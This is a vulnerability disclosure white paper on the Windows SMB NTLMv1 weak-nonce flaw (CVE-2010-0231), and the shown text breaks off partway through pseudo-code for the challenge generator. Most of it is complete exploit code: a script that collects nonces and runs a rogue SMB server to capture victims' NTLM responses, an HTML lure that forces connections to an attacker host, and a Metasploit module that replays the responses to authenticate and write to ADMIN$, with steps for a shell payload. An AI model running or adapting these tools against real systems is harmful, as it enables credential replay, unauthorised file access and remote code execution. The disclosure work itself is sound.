Understanding the Windows SMB NTLM Authentication Weak Nonce Vulnerability

Hernan Ochoa (hernan@ampliasecurity.com) - Agustin Azubel (aazubel@ampliasecurity.com)

Table of Contents

1.Introduction

In February 2010, we found a vulnerability in the SMB NTLM Windows Authentication mechanism that have been present in Windows systems for at least 14 years (from Windows NT 4 to Windows Server 2008). You probably haven't heard about this vulnerability, but basically the authentication mechanism used by all Windows systems to access remote resources using SMB was flawed, allowing attackers to get read/write access to remote resources and remote code execution without credentials, using different techniques such as passive replay attacks, active collection of duplicate challenges/responses, and prediction of challenges. This vulnerability is also a good example of flaws found in challenge-response authentication mechanisms.

This white paper will describe the vulnerability in detail, including its scope and severity, explain different techniques to exploit the flaws found and provide

fully functional exploit code.

2.Why is this vulnerability interesting?

This vulnerability is interesting because it has been present in all Windows systems, from NT 4 to Windows Server 2008, for 14 years (perhaps for 17 years if Windows NT 3.xx was affected, what we were unable to verify for lack of a copy of this particular OS). It also means that something as basic as the authentication mechanism of Windows has been broken all along, all your data has been at risk all this time, and nobody knew about it. We all assumed authentication was working correctly, but it wasn't.

The flaws we found in the implementation also revisit lessons learned in the past by the information security community about common flaws in the implementation of cryptographic protocols and how careful one must be when implementing one. Once again, Cryptography is not an easy subject.

This vulnerability is also interesting because it is not your common buffer overflow, but a combination of different flaws in a challenge-response authentication mechanism allowing for active and passive replay attacks, including challenge prediction.

3.Vulnerability Information

Impact: An unauthenticated remote attacker without any kind of credentials can access the SMB service under the credentials of an authorized user. Depending on the privileges of the authorized user, and the configuration of the remote system, an attacker can gain read/write access to the remote file system and execute arbitrary code by using DCE/RPC over SMB.

Remotely Exploitable: Yes
Bugtraq Id: 38085
CVE: CVE-2010-0231

4.Vulnerability description

Microsoft Server Message Block (SMB) Protocol is a Microsoft network file sharing protocol also used for sharing printers, communications abstractions such as named pipes and mailslots, and performing Remote Procedure Calls (DCE/RPC over SMB) [1].

NTLM (NT Lan Manager) is a challenge-response authentication protocol used by the SMB protocol [2].

Windows systems commonly use the SMB protocol with NTLM authentication for network file/printer sharing and remote administration via DCE/RPC.

Flaws in Microsoft's implementation of the NTLM challenge-response authentication protocol causing the server to generate duplicate challenges/nonces and an information leak allow an unauthenticated remote attacker without any kind of

credentials to access the SMB service of the target system under the credentials of an authorized user. Depending on the privileges of the user, the attacker will be able to obtain and modify files on the target system and execute arbitrary code.

5.Vulnerable Systems

This vulnerability was verified by the authors on the following platforms:

Windows NT4 SP1
Windows Server 2003 SP2
Windows XP SP3
Windows Vista x32
Windows 7 x32 RC

However, all versions of Windows implementing NTLMv1 are suspected to be affected.

Microsoft, in their "Microsoft Security Bulletin Advance Notification for February 2010" [3], list the following platforms as affected:

Windows 2000 SP4
Windows XP SP2 and SP3
Windows XP Professional x64 Edition SP2
Windows Server 2003 SP2
Windows Server 2003 x64 Edition SP2
Windows Server 2003 SP2 for Itanium-based systems
Windows Vista
Windows Vista SP1
Windows Vista SP2
Windows Vista x64 Edition
Windows Vista x64 Edition SP1
Windows Vista x64 Edition SP2
Windows Server 2008 x32
Windows Server 2008 x32 SP2
Windows Server 2008 x64 SP2
Windows Server 2008 x64 SP2
Windows Server 2008 for Itanium-based systems
Windows Server 2008 for Itanium-based systems SP2
Windows 7 x32

See [3] for more details.

Given that Windows NT 4 was relased in ~1996 this vulnerability has been present for ~14 years. If it is confirmed this vulnerablity is also present in older systems such as Windows NT 3.1, released in ~1993, Windows NTLMv1 authentication mechanism could have been vulnerable for ~17+ years.

6.Vendor Information, Solutions and Workarounds

SMB NTLM Authentication Lack of Entropy Vulnerability - CVE-2010-0231
http://www.microsoft.com/technet/security/bulletin/ms10-012.mspx

7.Credits

This vulnerability was discovered by Hernan Ochoa (Independent Information Security Consultant and Researcher) and it was researched by Hernan Ochoa and Agustin Azubel (Independent Information Security Consultant and Researcher).

8.Technical description

Microsoft Server Message Block (SMB) Protocol is a Microsoft network file sharing protocol also used for sharing printers, communications abstractions such as named pipes and mailslots, and performing Remote Procedure Calls (DCE/RPC over SMB) [1].

NTLM (NT Lan Manager) is a challenge-response authentication protocol used by the SMB protocol [2].

Windows systems commonly use the SMB protocol with NTLM authentication for network file/printer sharing and remote administration via DCE/RPC.

Flaws in Microsoft's implementation of the NTLM challenge-response authentication protocol causing the server to generate duplicate challenges/nonces and an information leak allow an unauthenticated remote attacker without any kind of credentials to access the SMB service of the target system under the credentials of an authorized user. Depending on the privileges of the user, the attacker will be able to obtain and modify files on the target system and execute arbitrary code.

8.1.NTLMv1 authentication protocol

The NTLMv1 authentication protocol is a challenge-response protocol that consists of the following messages:

1. The client sends to the server a message containing a set of flags of features supported/requested to perform authentication.
2. The server responds with a message containing a set of flags supported/required by the server enabling both ends to agree on the authentication parameters and, more importantly, an 8-byte random challenge/nonce.
3. The client uses the random challenge/nonce and the user's credentials to calculate the response (24 bytes) and sends it to the server.
4. The server determines if the response is correct and allows or disallows access to the client.

The randomness of the 8-byte challenge/nonce returned by the server tries to ensure that every challenge-response sequence is unique helping protect against replay attacks.

8.2.The Flaws

Several flaws were found leading to attacks such as generation of duplicate challenges/nonces and challenge/nonce prediction.

The randomness of the 8-byte challenges generated by the SMB server in response to an specific packet requesting authentication is bad enabling attackers to perform replay attacks. The SMB server easily generates duplicate 8-byte challenges.

The challenge/nonce prediction attack is feasible due to several factors including that the protocol leaks information that can be used by an attacker to calculate the internal state of the PRNG used to generate challenges.

8.3.Detecting if the SMB service generates duplicate 8-byte challenges

Detecting the generation of duplicate challenges can be verified remotely by repeatedly sending 'SMB Negotiate Protocol Request' packets to a Windows system with the 'Flags2' field set to 0xc001 (disabling security signatures, extended attributes and extended security negotiation) recording the 8-byte challenges obtained from the server and waiting for duplicates.

The following Ruby script can be used to test for the presence of this vulnerability:

====test2_ochoa_2010-0209.rb====:

```
# test2_ochoa-2010-0209.rb
# Windows SMB NTLM Authentication Weak Nonce Vulnerability detection script
# This script will run in an infinite loop looking for duplicate challenges
displaying a message
# every time one is received.
# (c) 2010 Hernan Ochoa (hernan@gmail.com)

require 'socket'

chs = []
attempts = 0
host = ""
port = 445
challenges_filename = "challenges.log"
duplicates_filename = "duplicates.log"


        print "This script tests for the Windows SMB NTLM Authentication Weak
Nonce Vulnerability\n"
        print "(c) 2010 Hernan Ochoa (hernan@gmail.com)\n"

        if ARGV.size < 1 then
                print "syntax: test2_ochoa-2010-0209.rb <host>\n"
                exit
        end

        host = ARGV[0]

        print "Testing host " + host + "\n"
```

```
        neg_proto_packet_1 =
        "00000054" +
        "ff534d4272000000001801c000000000000000000000000000086610000548000310002
4c414e4d414e312e3000024c4d312e325830303200024e54204c414e4d414e20312e3000024e54204c4
d20302e313200"


        if File.file?( challenges_filename ) then
                File.delete( challenges_filename )
        end

        if File.file?( duplicates_filename ) then
                File.delete( duplicates_filename )
        end

loop do
        so = TCPSocket.open(host, port)
        attempts = attempts + 1

        n = neg_proto_packet_1.scan(/../).map { |s| s.to_i(16) }
        j = n.pack("C*")
        so.write(j)
        resp = so.recvfrom(2000)

        j = resp.to_s[0x49..0x49+7]
        vuelta = j


        test = j.unpack("C*").map { |v|  ("%.2x" % (v)).chomp }
        challenge = test.to_s

        so.close

        File.open( challenges_filename , "a" ) { |f| f.write(challenge+"\n") }

        if chs.include? challenge
                puts "duplicate found!\a\a\a\a\a\a\a\a\a\a\a\a\n"
                ndx = chs.index(challenge)
                print "request #" + attempts.to_s + ", challenge=" + challenge +
"\n"
                print "request #" + (ndx+1).to_s +      ", challenge=" + chs[ndx]
+ "\n"
                File.open( duplicates_filename , "a") { |f|
f.write(challenge+"\n") }
        end

        chs.push(challenge)

end
```

8.4.Exploiting duplicate challenges

There are different ways to exploit duplicate challenges, including:

(i) An attacker A can eavesdrop network traffic looking for NTLM authentication messages exchanged between client C and server S ('SMB Negotiate Protocol Requests' packets and 'SMB Negotiate Protocol Responses' packets), storing challenges and their corresponding responses. The attacker A can then perform several authentication requests to server S until S returns a previously observed challenge (a duplicate).At that point attacker A will send the corresponding and previously recorded response.

We did not find so far any current Windows version (XP,Vista,7,etc) that by default or using some specific configuration, when acting as an SMB client, would generate the necessary 'SMB Negotiate Protocol Request' packets with the correct values in the 'Flags2' field to trigger the vulnerability when accessing a remote SMB service. Hence we were unable to collect duplicate challenges only by network sniffing.

Tests were performed with the third-party SMB client 'smbclient' from the SAMBA project with the same negative results (tests were not exhaustive).

Since this problem was also found on Windows versions as old as Windows NT4, this scenario might still be possible.

(ii) An attacker A connects to system S and sends mutiple 'SMB Negotiate Protocol Request' packets with the 'Flags2' field set to 0xc001 to obtain several challenges, and stores them. The attacker A then forces a user U on system S to connect to his own specially crafted SMB server, for example by sending an email with multiple <IMG> tags with UNC links (e.g.: <IMG SRC=\\evilserver\share\a.jpg>) or a link to web server with similar <IMG> tags. Upon receiving the connections from system S,the attacker's SMB server will respond with the previously obtained challenges and will store the corresponding responses returned by the remote system. Attacker A has now a set of responses which are the challenges encrypted with user's U credentials.

Finally, the attacker A will perform several authentication requests to system S until it returns one of the challenges obtained at the beginning of this attack, and at that point he will replay the corresponding and previously obtained response to gain access to system S as user U.

If user U has, for example, local administrator privileges on system S (not uncommon for Windows XP users, for example), remote code execution is possible via DCE/RPC over SMB. Even if user U has no administrator privileges attacker A can still access, for example, file shares accessible by user U and read/modify information.

Tests performed showed that challenges and responses obtained from a system S can be reused multiple times against that same system and other remote systems. We observed that challenges obtained from a system S were also returned by other remote systems. This means that attacker A only needs, in the best case scenario, to force user U to connect to his own specially crafted SMB server once. Of course, user U must have access (his credentials must be valid) to the other systems attacked.

This attack needs the victim to have port 445/tcp open and the attacker to be able to access that port. The victim also needs to be able to access port 445/tcp on the attacker's server (only once, to record responses. Subsequent attacks do not need the victim to access the attacker's system).

This simple attack using a 'brute-force' approach to find duplicate challenges proved to be acceptably effective.

8.4.1.Proof-of-Concept Exploit

The exploit implementation is twofolded:

(i) setup_smb_weak_nonce.rb

This standalone Ruby script performs several connections to the victim sending 'SMB Negotiate Protocol Request' packets to obtain 8000 challenges (the number of challenges to be obtained can be changed).
After collecting 8000 challenges, it will listen on port 445/tcp for incoming SMB connections originated by the victim. For every connection received, it will send to the victim one of the previously obtained challenges and will store the corresponding response obtained.
As a simple example of a method to force the victim to connect to the attacker, the file 'conn.html' is provided. This is a very simple HTML file with javascript code that will generate 1000 <IMG> tags with an UNC link to different image files.
The challenges and responses obtained are saved to the file 'fullcreds.log'.

(ii) msf_smb_weak_nonce.rb

This metasploit module will perform connections to the victim until the server responds with one of the duplicate challenges stored in 'fullcreds.log'. The module will then send the corresponding response to gain access to the victim's SMB service.
Finally, after successful exploitation, the module will create the file 'owned.txt' in the ADMIN$ share (c:\windows) with the following text: "Windows SMB NTLM Authentication weak nonce vulnerability successfully exploited!".
This module can be easily modified to execute code on the remote system (given the target user has enough privileges).

To exploit the vulnerability repeat the following steps:

1. copy msf_smb_weak_nonce.rb to <METASPLOIT_DIR>/modules/exploits/windows/smb
2. Run setup_smb_weak_nonce.rb specifying the IP of the victim (e.g.: ruby setup_smb_weak_nonce.rb 192.168.10.1). After collecting the nonces the script will listen on port 445 for incoming SMB connections.
3. Run Internet Explorer and load 'conn.html'. This will produce 1000+ connections to the SMB server implemented by setup_smb_weak_noce.rb.

(Note 1: setup_smb_weak_nonce.rb needs to be run as root to be able to listen on port 445/tcp)
(Note 2: If you load 'conn.html' with Internet Explorer and 'conn.html' is stored on a local drive (e.g.:c:\conn.html) it is possible Internet Explorer will prompt you to allow execution of the javascript code within 'conn.html'. This is not a limitation of the attack, it is just an extra protection implemented by Internet Explorer, the 'conn.html' does not even need to contain javascript code, it uses it just because it is convenient, you could just as easily 'hard-code' all <IMG> tags. Also, loading the html file from the a local disk is not a real attack scenario, all of this is for demonstration purposes).

4.After 1000 connections are received by setup_smb_weak_nonce.rb the script will terminate. The file 'fullcreds.log' will be generated. Copy

'fullcreds.log' to /tmp.
5. run metasploit (msfconsole) and execute the following commands:
-use windows/smb/msf_smb_weak_nonce
-set RHOST <victim_ip>
for example: set RHOST 192.168.10.1
-set payload windows/shell/bind_tcp
-exploit

The metasploit module looks for 'fullcreds.log' in '/tmp' by default. You can specify the location of the 'fullcreds.log' file using the following command:

-set CREDSFILE <path+filename>

for example:
-set CREDSFILE /mydir/fullcreds.log

6.the metasploit module will start performing connections to the victim until receiving a duplicate challenge for which there's a response in the 'fullcreds.log' file. After successfully authenticating to the victim, the script will create the file 'owned.txt' in c:\windows via the ADMIN$ share (given the user exploited has enough privileges).

Please remember that this proof-of-concept exploit requires the targer user to have enough privileges (e.g.: local administrator) to access the ADMIN$ share remotely. However, the target user does need to have this privilege level in order for the attacker to exploit the vulnerability. For example: if the target user only has regular user privileges, an attacker can access the file shares that user has access to. Also, exploiting the vulnerabiliy and the level of access obtained are two different things.

This is just a proof-of-concept exploit, it can be improved and optimized.

Next are all the previously mentioned files part of the proof-of-concept exploit:

=====setup_smb_weak_nonce.rb======:

```
# Windows SMB NTLM Authentication Weak Nonce Vulnerability
# (c) 2010 Hernan Ochoa (hernan@gmail.com)
# This script can be used to connect to the victim to obtain weak nonces
# and then waiting for connections from the victim to have it encrypt those weak
nonces for us
# The victim can be 'forced' to connect to this server using several methods, as
an example
# you can take a look at the conn.html file which creates an HTML document with
several <IMG SRC> tags
# that connect to this server.
# The weak nonces, encrypted nonces, username and domainname are stored in the
file fullcreds.log
# to then be used with the msf_smb_weak_nonce.rb metasploit module for
exploitation

require 'socket'
require 'time'
```

```
def collectnonces(host, port, num)

        count = 1
        nonces = []
        nonces_filename = "nonces.log"
        f = 0

        if File.file?( nonces_filename ) then
                File.delete( nonces_filename )
        end


        while 1 == 1 :

                neg_proto_packet_1 =
                "00000054" +
                "ff534d4272000000001801c000000000000000000000000008661000054800
03100024c414e4d414e312e3000024c4d312e325830303200024e54204c414e4d414e20312e3000024
e54204c4d20302e313200"

                #so = nil
                so = TCPSocket.open(host, port)

                n = neg_proto_packet_1.scan(/../).map { |s| s.to_i(16) }
                j = n.pack("C*")
                so.write(j)
                resp, x = so.recvfrom(2000)

                j = resp[0x49..0x49+7]
                test = j.unpack("C*").map { |v|  ("%.2x" % (v)).chomp }
                #puts "\r" + test.to_s + "    "

                #so.close

                #sleep(0.1)
                f = 1
                nonces.each do |hay|
                        if hay == test.to_s
                                print "duplicate! (#" + count.to_s + ", #" +
f.to_s + ")\a\a\a\a\a\a\a\a\a\a\a\a\n"
                        end
                        f = f + 1
                end

                nonces << test.to_s

                challenge =  (test.to_s + "\n").to_s
                File.open(nonces_filename, 'a') { |f| f.write(challenge) }
                count = count + 1
                print "\r# of nonces obtained: " + count.to_s + "
"

                #        if count % 100 == 0
                #                sleep(1)
                #        end

                if count == (num+1)
```

```
                        print "\n"
                        return
                end

        end
end

# from metasploit...
# framework-3.2/lib/rex/proto/smb/utils.rb
def time_unix_to_smb(unix_time)
        t64 = (unix_time + 11644473600) * 10000000
        thi = (t64 & 0xffffffff00000000) >> 32
        tlo = (t64 & 0x00000000ffffffff)
        return [thi, tlo]
end

def waitforcreds(thenonces, num)

        nonces_ndx =  0
        conn_num = 0
        maxn = num


        neg_proto_response_1 =
        "00000051" + # NetBIOS Session Service header
        "ff534d4272000000008801c0000000000000000000000000fffe00000000" + # SMB
Header
        "11050003020001000411000000000100000000000fde30000007632d28015ca010000080c0
0e486962656d5869400000000"  # Negotiate Protocol Response

        session_setupandx_access_denied =
        "00000023" + # NetBIOS Session Service Header
        "ff534d4273220000c08801c0000000000000000000000000fffe00000400000000" +
# SMB Header
        "000000" # Session and SetupX Response payload


        creds_filename = "fullcreds.log"

        if File.file?( creds_filename ) then
                File.delete( creds_filename )
        end


        server = TCPServer.open(445)
        loop {

                if conn_num > maxn
                        Thread.exit
                        return
                end

                Thread.start(server.accept) do |client|

                        conn_num = conn_num + 1
                        if conn_num > maxn
                                puts "done!"
                                client.close()
```

```
                        server.shutdown
                        Thread.exit
                        return
                end
                puts conn_num


                # (1) receive Negotiate Protocol Request

                q, x = client.recvfrom(2000)
                puts "neg proto request received"
                pid1 = q[0x1e]
                pid2 = q[0x1f]
                multi1 = q[0x1e+4]
                multi2 = q[0x1f+4]

                # (2) send Negotiate Protocol Response

                # set challenge in response packet
                puts thenonces[nonces_ndx].to_s
                neg_proto_response_1[146..146+15] =
thenonces[nonces_ndx].chomp
                # TODO: SET CORRECT TIME
                timehi, timelo = time_unix_to_smb(Time.now.to_i)
                # send packet
                n = neg_proto_response_1.scan(/../).map { |s| s.to_i(16) }
                # set process id
                #puts pid1
                #puts pid2
                #puts multi1
                #puts multi2
                n[0x1e] = pid1
                n[0x1f] = pid2
                n[0x1e+4] = multi1
                n[0x1f+4] = multi2

                s = ("%.8x" % timelo)
                ss = s[6].chr + s[7].chr + s[4].chr + s[5].chr + s[2].chr
+ s[3].chr + s[0].chr + s[1].chr

                dlo = (ss.scan(/../)).map { |s| s.to_i(16) }

                s = ("%.8x" % timehi)
                ss = s[6].chr + s[7].chr + s[4].chr + s[5].chr + s[2].chr
+ s[3].chr + s[0].chr + s[1].chr

                dhi = (ss.scan(/../)).map { |s| s.to_i(16) }

                n[0x3c..0x3c+3] = dlo
                n[0x40..0x40+3] = dhi

                # timezone = 0
                #n[0x45] = 0
                #n[0x46] = 0
                j = n.pack("C*")
                client.write(j)
                puts "neg proto response sent"
```

```
                        # (3) Receive Session Setup andX Request
                        q, x = client.recvfrom(4000)
                        puts "session setup andx request received!"
                        pid1 = q[0x1e]
                        pid2 = q[0x1f]
                        multi1 = q[0x1e+4]
                        multi2 = q[0x1f+4]

                        # we assume the first request is anonymous
                        # and we send back an Error: STATUS_ACCESS_DENIED
                        n = session_setupandx_access_denied.scan(/../).map { |s|
s.to_i(16) }
                        n[0x1e] = pid1
                        n[0x1f] = pid2
                        n[0x1e+4] = multi1
                        n[0x1f+4] = multi2
                        #n[0x44/2] = pid1multi1
                        #n[0x45/2] = multi2
                        #n[0x3c/2] = pid1
                        #n[0x3d/2] = pid2
                        #puts n

                        begin
                                j = n.pack("C*")
                        rescue
                                puts $!
                        end

                        client.write(j)
                        puts "session setupandx access denied sent!"

                        # (4) Receive Session Setup andX Request with creds
                        q, x = client.recvfrom(4000)
                        puts "session setup andx request with creds received!"

                        # Get the ANSI Password
                        ansi_pwd = q[0x41..0x41+23]
                        ansi_pwd_s = (ansi_pwd.unpack("C*").map { |v|  ("%.2x" %
(v)).chomp }).to_s
                        puts ansi_pwd_s

                        # Get the Unicode Password
                        unicode_pwd = q[0x59..0x59+23]
                        unicode_pwd_s = (unicode_pwd.unpack("C*").map { |v|
("%.2x" % (v)).chomp }).to_s
                        puts unicode_pwd_s

                        # Get the username (0x71)
                        i = 0
                        v = 0
                        username = ""
                        while v == 0
                                if q[0x71+i] == 0 and q[0x71+i+1] == 0
                                        v = 1
                                end
                                if q[0x71+i] != 0
                                        username = username + q[0x71+i].chr
                                end
```

```
                                i = i + 1
                        end

                        i = 0x71 + i + 1
                        domain = ""
                        v = 0
                        k = 0
                        while v == 0:
                                if q[i+k] == 0 and q[i+k+1] == 0
                                        v = 1
                                end
                                if q[i+k] != 0
                                        domain = domain + q[i+k].chr
                                end
                                k = k + 1
                        end

                        puts username
                        puts domain

                        File.open(creds_filename, "a") { |f|
f.write( thenonces[nonces_ndx].to_s + "," + ansi_pwd_s + "," + unicode_pwd_s + ","
+ username + "," + domain + "\n") }

                        client.close
                        nonces_ndx = nonces_ndx + 1

                end
        }

end

def savecreds(num)

        nonces = []
        nonces_filename = "nonces.log"

        # load nonces to send to victim
        data = ""
        File.open(nonces_filename, 'r') { |f| data = f.read() }
        nonces = data.split(/\n/)

        # wait for victim to encrypt the nonces
        waitforcreds(nonces, num)

end



# MAIN

        print "Windows SMB NTLM Authentication weak nonce Vulnerability"
        print "\n(c) 2010 Hernan Ochoa (hernan@gmail.com)\n"

        if ARGV.size < 1 then
                print "syntax: setup_smb_weak_nonce.rb <target host>
<optional:number_of_nonces_to_collect, by default:8000>\n"
                exit
```

```
        end


        host = ARGV[0]
        port = 445
        nonces_count = 8000

        if ARGV.size >= 2 then
                nonces_count = ARGV[1].to_i
        end


        # gather nonces by connecting to victim
        # nonces are saved to 'nonces.log'
        # 100 = number of nonces to collect
        puts "collecting nonces..."
        collectnonces(host, port, nonces_count)
        puts "done collecting nonces.."

        # now, we expect connections from the victim
        # so we can use those connections to have the victim
        # encrypt the nonces with the hases of his/her password
        #the connections can be forced by
        #using the classic technique of sending an email
        #with link to a web page, a web page that may contain html tags like
        #<img src="\\<attacker>\pepe">
        # for each <img> tag the victim will initiate 4 connections (it retries
automatically..)
        # so that's good for an attacker, lowers the number of
        # connections it needs to force from the victim

        puts "waiting for connections from victim"
        savecreds(1000)


====msf_smb_weak_nonce.rb====:
# Windows SMB NTLM Authentication Weak Nonce Vulnerability
# (c) 2010 Hernan Ochoa (hernan@gmail.com)
# This metasploit module takes the file 'fullcreds.log' and performs connections
# to a SMB server on port 445 until it returns a nonce found in 'fullcreds.log'
# It then sends the corresponding response and gains access.
##
##


=begin
=end

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

        include Msf::Exploit::Remote::DCERPC
        include Msf::Exploit::Remote::SMB

        def initialize(info = {})
                super(update_info(info,
                        'Name'           => 'Windows SMB NTLM Authentication weak
```

```
nonce exploit',
                        'Description'    => %q{
                                This module exploits the Windows SMB NTLM
Authentication weak nonce vulnerability by Hernan Ochoa (hernan@gmail.com)
                        },
                        'Author'         =>
                                [
                                        'Hernan Ochoa (hernan@gmail.com)'
                                ],
                        'License'        => '',
                        'Version'        => '1',
                        'Privileged'     => true,
                        'DefaultOptions' =>
                                {
                                        'EXITFUNC' => 'thread'
                                },
                        'Payload'        =>
                                {
                                        'Space'        => 8192,
                                        'DisableNops'  => true,
                                        'StackAdjustment' => -3500,
                                },
                        'References'     =>
                                [
                                        [ 'URL', 'http://www.hexale.org' ],
                                        [ 'URL', 'http://hexale.blogspot.com']
                                ],
                        'Platform'       => 'win',
                        'Targets'        =>
                                [
                                        [ 'Automatic', { } ],
                                ],
                        'DisclosureDate' => 'Feb 09 2010',
                        'DefaultTarget'  => 0 ))

                        register_options(
                                [
                                        #OptAddress.new('SMBHOST', [ false, "The
target SMB server (leave empty for originating system)"]),
                                        OptString.new('CREDSFILE', [true, "The
file with the weak nonces and encrypted nonces created by
setup_smb_weak_nonce.rb", "/tmp/fullcreds.log"])
                                ], self.class )
        end


        def exploit

                print "Windows SMB NTLM Authentication weak nonce Vulnerability
exploit (c) 2010 Hernan Ochoa (hernan@gmail.com)\n"
                found = 0
                # load nonces to wait from victim
                nonces = []
                data = ""
                creds_filename = datastore["credsfile"]
                File.open(creds_filename, 'r') { |f| data = f.read() }
                lines = data.split(/\n/)
                creds = lines.map { |i|  i.split(/,/) }
```

```
                print "target user: " + creds[0][3] + "\n"
                target_domain = creds[0][4]
                print "target domain: " + target_domain + "\n"

                target_host = datastore['RHOST']

                attempts = 0
                rsock = nil
                rport = nil

                print "connecting to " + target_host + " and waiting for duplicate
challenges...\n"

                while found == 0
                        attempts = attempts + 1
                        print "\rattempt/connection # " +  attempts.to_s + "
"
                        #if attempts % 100
                        #       sleep(1)
                        #end
                        [445].each do |rport|
                        begin
                        #rport = 445
                        #begin
                                rsock = Rex::Socket::Tcp.create(
                                        'PeerHost'  => target_host,
                                        'PeerPort'  => rport,
                                        'Timeout'   => 3,
                                        'Context'   =>
                                                {
                                                'Msf'        => framework,
                                                'MsfExploit' => self,
                                                }
                                )

                                break if rsock
                        rescue ::Interrupt
                                raise $!
                        rescue ::Exception => e
                                        print_error("Error connecting to
#{target_host}:#{rport} #{e.class} #{e.to_s}")
                        end
                        end


                rclient = Rex::Proto::SMB::SimpleClient.new(rsock, rport == 445 ?
true : false)

                begin
                        rclient.login_split_start_ntlm1(target_domain)
                rescue ::Interrupt
                        raise $!
                rescue ::Exception => e
                        print_error("Could not negotiate NTLMv1 with
#{target_host}:#{rport} #{e.class} #{e.to_s}")
                        raise e
                end
```

```
                if (not rclient.client.challenge_key)
                        print_error("No challenge key received from
#{target_host}:#{rport}")
                        rsock.close
                end

                #puts "challenged received from target after we connected to it!"
                #puts rclient.client.challenge_key.class

                j = rclient.client.challenge_key
                enckey = j.unpack("C*").map { |v|  ("%.2x" % (v)).chomp }
                #puts enckey.to_s
                ndx = 0
                creds.each do |item|
                        if found == 0
                                if item[0].to_s == enckey.to_s
                                        print "\nsaved nonce: " + item[0] + "\n"
                                        print "nonce obtained from server: " +
enckey.to_s + "\n"
                                        puts "duplicate
received!\a\a\a\a\a\a\a\a\a\a\a\a"
                                        found =  ndx
                                end
                        end
                        ndx = ndx + 1
                end

                #found = 1
                if found == 0
                        #rsock.close
                end

                end

                puts "nonce index #{found}"
                #apwd = creds[found][1].scan(/../).map { |s| s.to_i(16) }
                #upwd = creds[found][2].scan(/../).map { |s| s.to_i(16) }
                apwd = creds[found][1]
                upwd = creds[found][2]
                username = creds[found][3]
                domain = creds[found][4]
                puts apwd.to_s
                puts upwd.to_s
                puts username
                puts domain

                begin
                        res = rclient.login_split_next_ntlm1(
                                        username,
                                        domain,
                                        [ apwd.to_s].pack("H*"),
                                        [ upwd.to_s].pack("H*")
                                        #[ (lm_hash ? lm_hash : "00" *
24) ].pack("H*"),
                                        #[ (nt_hash ? nt_hash : "00" *
24) ].pack("H*")
                                )
                 rescue XCEPT::LoginError
```

```
                        puts "error"
                end

                 if (res)
                                print_status("AUTHENTICATED as
#{username}\\#{domain}...")
                    else
                                   print_status("Failed to authenticate as
#{username}\\#{domain}...")
                end

               puts "connecting to ADMIN$..."
               rclient.connect("ADMIN$")
               fd = rclient.open("\\owned.txt", 'rwct')
               fd << "Windows SMB NTLM Authentication weak nonce vulnerability
successfully exploited!\r\n"
               fd.close
               puts "file created"


               rsock.close
               return
        end


end

====conn.html====:
<HTML>
<HEAD>
<TITLE>Windows SMB NTLM Authentication weak nonce Vulnerability by Hernan
Ochoa</TITLE>
<!--
Please modify the evilServerIP variable to be the IP address\hostname of the
server where
the script setup_smb_weak_nonce.rb is running
// -->
<SCRIPT LANGUAGE="JavaScript">
<!--
beginHTML = "<IMG SRC=\\\\"
evilServerIP = "192.168.1.130"
endHTML = ">\r\n"
// -->
</SCRIPT>
</HEAD>
<BODY>
<SCRIPT LANGUAGE="JavaScript">
<!--
for(i=0; i<1000; i++) {
        imageName = i + ".jpg"
        document.write(beginHTML + evilServerIP + "\\share\\" + imageName +
endHTML);
}
// -->
</SCRIPT>
</BODY>
</HTML>
```

8.5.Predicting challenges

The challenge/nonce prediction attack is feasible due to several factors including that the protocol leaks information that can be used by an attacker to calculate the internal state of the PRNG used to generate challenges.

In order to explain the attack implemented next we begin by explaining the method used by the Windows SMB service to generate challenges.

8.5.1.SMB service: challenge generation process

(Note: during this explanation we are going to use the code for the Windows XP version of all modules mentioned. The code is the same in all platforms with some minor differences for some platforms but these differences do not produce a different behaviour).

The function that generates the challenges returned in 'SMB Negotiate Protocol Response' packets is srv.sys!GetEncryptionKey():

It takes the current time, and adds to the low part of the current time the value of the
global variable _EncryptionKeyCount.

```
00040735                lea     eax, [ebp+CurrentTime]
00040738                push    eax
00040739                call    ds:__imp__KeQuerySystemTime@4
0004073F                mov     eax, _EncryptionKeyCount
00040744                add     dword ptr [ebp+CurrentTime], eax
```

Increments _EncryptionKeyCount by 0x100 and makes some 'calculations'
with the (current time.lowpart + _EncryptionKeyCount) resulting in a DWORD value with the
following 'pattern':

```
                where CT = (current time.lowpart + _EncryptionKeyCount)

                       seed = CT[1], CT[2]-1, CT[2], CT[1]+1;
```

```
00040747                movzx   ecx, byte ptr [ebp+CurrentTime+1]
0004074B                movzx   eax, byte ptr [ebp+CurrentTime+2]
0004074F                add     _EncryptionKeyCount, 100h
00040759                mov     edx, ecx
0004075B                shl     edx, 8
0004075E                lea     esi, [eax-1]
00040761                or      edx, esi
00040763                mov     esi, ds:__imp__RtlRandom@4
00040769                shl     edx, 8
0004076C                or      edx, eax
0004076E                shl     edx, 8
00040771                inc     ecx
00040772                lea     eax, [ebp+Seed]
00040775                or      edx, ecx
```

Then it calls the ntoskrnl.exe!RtlRandom(&seed) function three times, using

as a 'seed' the value with the pattern shown above. Each call to ntosrnkl.exe!RtlRandom(&seed)
returns in 'seed' a different value (meaning each call does not use the same value as a 'seed').

```
00040777                push    eax
00040778                mov     [ebp+Seed], edx
0004077B                call    esi ; RtlRandom(x)
0004077D                mov     [ebp+var_18], eax
00040780                lea     eax, [ebp+Seed]
00040783                push    eax
00040784                call    esi                             ; RtlRandom(x)
00040786                mov     ebx, eax
00040788                lea     eax, [ebp+Seed]
0004078B                push    eax                             ; Seed
0004078C                call    esi                             ; RtlRandom(x)
```

The calls to ntoskrnl.exe!RtlRandom(&seed) generate 3 'random' numbers.
Based on the value of random_number3, random_number1 and random_number2 are
modified:

```
0004078E                test    al, 1
00040790                mov     ecx, 80000000h
00040795                jz      short loc_4079A
00040797                or      [ebp+var_18], ecx
0004079A
0004079A loc_4079A:
0004079A                test    al, 2
0004079C                jz      short loc_407A0
0004079E                or      ebx, ecx
000407A0
000407A0 loc_407A0:
```

Finally, the code returns the challenge in the form bytes(random_number1, random_number2)

```
000407A0                mov     eax, [ebp+var_18]
000407A3                mov     ecx, [ebp+var_4]
000407A6                mov     [edi+4], ebx
000407A9                mov     [edi], eax
000407AB                pop     edi
000407AC                pop     esi
000407AD                pop     ebx
000407AE                call    @__security_check_cookie@4
000407B3                leave
000407B4                retn    4
```

Next is pseudo-code for the function srv.sys!GetEncryptionKey():

```
// Global Variable
DWORD _EncryptionKeyCount = 0;

srv.sys!GetEncryptionKey(byte OUT *pChallenge)
{
```

```
LARGE_INTEGER currentTime;
DWORD seed;
DWORD random_number1, random_number2, random_number3;


